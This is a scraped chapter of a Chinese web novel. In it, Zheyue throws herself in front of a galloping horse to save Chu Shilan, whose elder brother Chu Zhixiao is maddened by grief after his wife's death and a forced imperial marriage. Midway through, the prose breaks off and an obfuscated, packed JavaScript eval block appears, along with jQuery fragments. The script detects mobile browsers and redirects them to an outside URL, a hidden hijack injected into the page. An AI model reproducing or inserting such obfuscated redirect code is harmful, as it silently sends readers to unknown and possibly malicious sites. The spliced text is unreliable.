24. 长兄,我们回家吧

作品:《黑切白宿敌稳拿HE剧本

    蛰月独自走在回府的路上,偷偷跟踪的蔺眠云有些纳闷。这人有马车不坐,干嘛自己走路?闲着没事干啊?


    蛰月根本不需要想,就猜到背后那鬼鬼祟祟的人是谁。她猝不及防地回头,蔺眠云也反应迅速地隐匿身影。


    “喂!你谁啊?躲在我们这干嘛呢?”商贩一脸凶相的驱赶蔺眠云,以为这小子是想干点什么偷鸡摸狗的坏事。


    蔺眠云哪里受过这种气,刚想破口大骂,给这不知天高地厚的人一点教训,心念一转,又硬生生克制住了。


    可不能暴露位置。


    蔺眠云瞪了那商贩一眼,再探出头来的时候,早已没有了蛰月的身影。


    正当蔺眠云懊恼跟丢了人,准备打道回府之际,一道略带厌恶的冷冽嗓音自身后幽幽响起。


    蛰月倏然出现在了他的身前。


    “哎呀!”蔺眠云吓了一大跳,惊呼出声。


    蛰月面无表情,“跟着我干什么?”


    蔺眠云啧了一声,一脸无赖,“谁跟着你了?你未免太看得起你自己了。”


    蛰月转头就走。


    “喂!你就走啦?”蔺眠云叫住她。


    蛰月顿住脚步,侧目看向他,眼中盘旋着昭然若揭的凉薄。


    不然呢?还想要她怎么做?


    蔺眠云视若无睹,又不要脸地凑了上来,调侃道:“没想到你的小白脸还挺多的,他们不会打架吗?”


    蛰月:“你到底想做什么?”


    蔺眠云:“不想做什么,只是我刚来这里,想找点乐子。”


    蛰月:“每日在镜子前坐上一刻钟,够你找乐子的了。”


    “你别以为我听不出来你在骂我。”蔺眠云皱眉,从蛰月右边绕到了左边。


    “喂!”蔺眠云见蛰月不搭理自己,心里很不是滋味。


    蛰月冷冷道:“离我远点。”


    “迄今为止,还没人敢和我这么说话。”蔺眠云自得地笑了笑,很是心高气傲,“蛰月,我记住了你。”


    蛰月真的很不想理这个蠢驴。他的性格像是超级加倍版的薄寒宴,更让人无可奈何。


    蔺眠云就这么悠哉悠哉跟着蛰月,他根本没管蛰月听没听进去,反正他是说畅快了。


    就像是巨型蚊虫在耳边吵得不可开交,蛰月脑子嗡嗡作响,只有那么想一巴掌拍死他。


    正当蛰月准备爆发时,一股浓烈的纸钱味穿过京城繁琐曲折的街道,闯入她的鼻尖,顿时剿灭了她所有念头。


    纷飞飘摇的纸片,缭绕不散的灰烬,随之而来的,是死亡的凝重。


    蛰月停了下来,隔着街道,眺望某处。


    蔺眠云也停了下来,朝着蛰月目光所至之处望去。


    微弱的哭泣隐隐可闻,初府一片素缟,笼罩在一种无形的阴云之中。


    “谁死了?”蔺眠云初到京城,搞不清状况。


    蛰月的眼珠转了转,无声地沉默着。


    忽然间,寂若死灰的初府被一阵马匹的嘶鸣声惊醒。宛若暗无天日的幽谷,忽然传来不知名的喧嚣,幸运不及,诡谲至多。


    黄沙溅起,马蹄声接踵而至。一位身穿缟素的男人不停挥舞着手中的皮鞭,表情痛苦憎恨到了极点,全然不顾地往前冲去。


    蛰月认出了最前头的那个人。


    初知晓。


    蔺眠云把蛰月往边上拉,挑了挑和晋陵王如出一辙的斜飞眉毛,“喂,你们这儿不是不让纵马吗?”


    “快,快拦住他!”


    “逆子,你是想死吗!?”


    一声声干涩的怒骂自一众人马中铿锵有力地爆发,初将军骑着烈马,紧随其后。


    轰隆!


    一声凄厉的惊雷倏然在沉闷的天穹炸响,雷鸣电闪隐约翻滚在深厚的云层下,仿佛厚茧中妄图破茧而出的蛟龙。


    蔺眠云烦道:“要下雨了?刚才不好好的吗?”


    一辆疾驰的马车从天而降,精准无误地拦在了初知晓前面,似是冒了巨大的决心。


    马匹长啸嘶鸣,初知晓拉紧缰绳,在马车几步之外停了下来。


    蛰月的目光死死跟随着那一队人马,心里一个咯噔,绕过熙熙攘攘的人群,快步追了上去。


    “蛰月,你人呢?!”蔺眠云从这一变故中回过神来,身子意犹未尽地靠向旁边的人,却直接扑了个空。


    “长兄,停手吧……”初识岚从马车中下来,近乎祈求地看着初知晓。


    “识岚,让开!”初知晓双目赤红,仿佛极力压抑着什么,一字一句道。


    “长兄,我们一起回家吧……”初识岚内心煎熬,他拦在路中间,唯一一次反抗初知晓。


    “逆子,还不快回来!”


    “你真是疯了,看我不打断你的腿!”


    豆大的雨点从天空坠落,黑压压的人马越来越近,如果再不走,所有的一切都将功亏一篑。


    初知晓咬紧牙关,心下一狠,“识岚,你不懂!我最后说一遍,让开!”


    初识岚依旧拦在路中央,目光毫不闪躲,视死如归地望着几近疯魔的初知晓。


    “好!好!好!”初识岚连喝三声,嗓音低得像是沉闷的雷雨,“今天,没有人能阻止我!就算是你,也不行!”


    初知晓的余光捕捉到拼命赶来的蛰月,他轻轻地笑了笑,甩动手上的缰绳,毅然决然朝着初识岚冲了过来。


    初识岚闭上了眼睛,脸上挂着极为浅淡的笑,毫无责备之意。


    就在烈马快要撞上初识岚时,蛰月从一旁冲了出来,死命抱住了初识岚。


    飘飞的衣袂擦过烈马带起的飓风,两人不受控制地朝路边滚去。沙土和泥水溅上衣裙,极近的距离,蛰月闻到了除尘土新雨翻腾之外,独属于初识岚的气息。


    苦涩的草药味。


    右手传来钝痛,蛰月撑起颤抖不已的手臂,死死咬紧牙关,一声不吭。


    “小月儿,怎么是你!?”初识岚既气愤难过又心疼自责。


    “你知不知道刚才有多危险!?你为什么……”


    “知道危险你还站在那里!”蛰月背过右手,大声喊了出来。


    少女的话裹挟着风雨席卷而来,初识岚撑在泥水中的手蜷缩起来,愣在原地。


    越来越大的雨水灌入眼睛,模糊了原本清明的视线。连串的雨水从发间滑落,两人垂落在地的乌发缠绕在一起。


    “你也知道危险吗?”蛰月左右扣住初识岚的胳膊,怒斥道:“你身体本来就不好!”


    这是他们之间的第一声怒吼,初识岚无声喘息着,一动不动地看着蛰月。


    “小月儿……”


    初识岚说:“对不起……”


    又一阵马匹的嘶鸣,蔺眠云不知道从哪里抢了一匹“野生”骏马,绕路穿到初知晓面前。


    “不好意思,你走不了了。”蔺眠云迎着风雨,大权在握,吊儿郎当地说。


    思绪全无的初知晓没控制好马匹,生生摔了下来。就在他准备再次爬上马背时,初将军带人追了上来。


    四个侍从上前压住了初知晓,此时的他宛若落入重重陷阱的困兽,任凭他拼命挣扎,皆是无济于事。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15473165|168252||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>“父亲,放开我!放开我啊!”初知晓咬破了嘴角,绝望地嘶吼着,挣扎着。滑落的鲜血瞬间被倾盆大雨冲散,混入泥泞里。


    蛰月和初识岚赶了上来,见到这触目惊心的一幕,内心颤动不已。


    平日里那个风光无限,清风霁月的大理寺卿,如何会有现在这番狼狈?


    “放开我啊!父亲,我求你了!”


    蔺眠云皱着眉,有些迷茫地走到蛰月身侧,用手肘戳了戳她,连声音都正色了几分,“怎么回事啊?”


    蛰月摇了摇头,不知道该如何说起。


    在场的人各怀心事,脸色却都阴沉复杂。


    初将军抹了一把雨水,别过头,似有不忍,“知晓,你糊涂了。”


    初知晓跪在雨中,高声反驳道:“不,我比任何时候都要清醒。”


    “不过就是个女人!到底要闹到什么时候!她都已经死了,死了!”初将军恨铁不成钢,用密密麻麻的针尖扎进初知晓无法愈合的伤疤。


    话落,初知晓忽然停止了反抗。


    蛰月看见,有两行眼泪从他的眼中滑落,又被无情的雨水冲散。


    夹在中间的初识岚不忍心初知晓受苦,阻止道:“父亲,别说了。我们快些回去吧!”


    初知晓忽然低声笑了出来,他仰天大笑,越来越大声,那么悲凉,那么凄苦。


    蔺眠云不知不觉地僵住,他没看过这种场面,一时有些不知所措。


    “是啊……怜儿已经死了!”


    “就是薄荔言害死的!”


    啪!


    响亮的一巴掌打在初知晓的脸上,他偏了偏头,吐出一口血。


    初将军喝道:“混账!你是想让我们所有人和你一起死吗!”


    “长兄,二公主不是那种人……”初识岚顾虑着初知晓,却也小声说。


    初知晓:“什么不是那种人!就是她们逼死怜儿的!”


    呼啸的风雨中,寒意在不为人知的时候爬上所有人的脊背。蛰月不禁想到那个在树下捡落花的少女,那种纯真率直的性子,真的会做出这种事吗?


    “为什么要逼我们?为什么?为什么?为什么!”初知晓眼神惶恐疯狂,不停重复这句话。


    蔺眠云忽然想起了什么,脸色突变,“皇帝下旨让娶二公主的人,是你?!”


    这是他被迫跟着他老爹进宫时知道的,原本认为不足为奇的一件事,却在此刻幡然惊醒。


    初知晓妻子尸骨未寒,现在贴着脸下令让他另娶,是个人都要奔溃。


    有一种无以言语的力量压在心间,无法撼动。蛰月为之一愣,有些不敢相信。


    初识岚想去扶起初知晓,却被他一把甩开。


    “为什么,为什么!他们是有多恨我们家?薄寒宴从识岚身边抢走了蛰月,薄荔言又从我身边夺走了怜儿,我们到底欠了他们什么?!”


    初识岚一怔,卡在喉咙里的话语被一举驳回。蛰月紧握着颤抖的右手臂,忽然有一刻恍然。


    这句话,已经不止关乎着个人的恩怨了。


    蔺眠云捕捉到了几个不同于现在这般悲催的字眼。


    薄寒宴从初识岚身边抢走了蛰月?这是什么意思?其实他方才就想问了,蛰月为什么冒着那么大的风险去就初识岚。这个世界上,除非情感深重,谁能为他人舍命?


    “孩子啊……”初将军终于忍不住,眼里流露出哀伤,“天子之命,又有谁敢反抗?”


    “好了,别争了……”初将军走近,扶起了初知晓,“咱们回去吧。”


    “好……”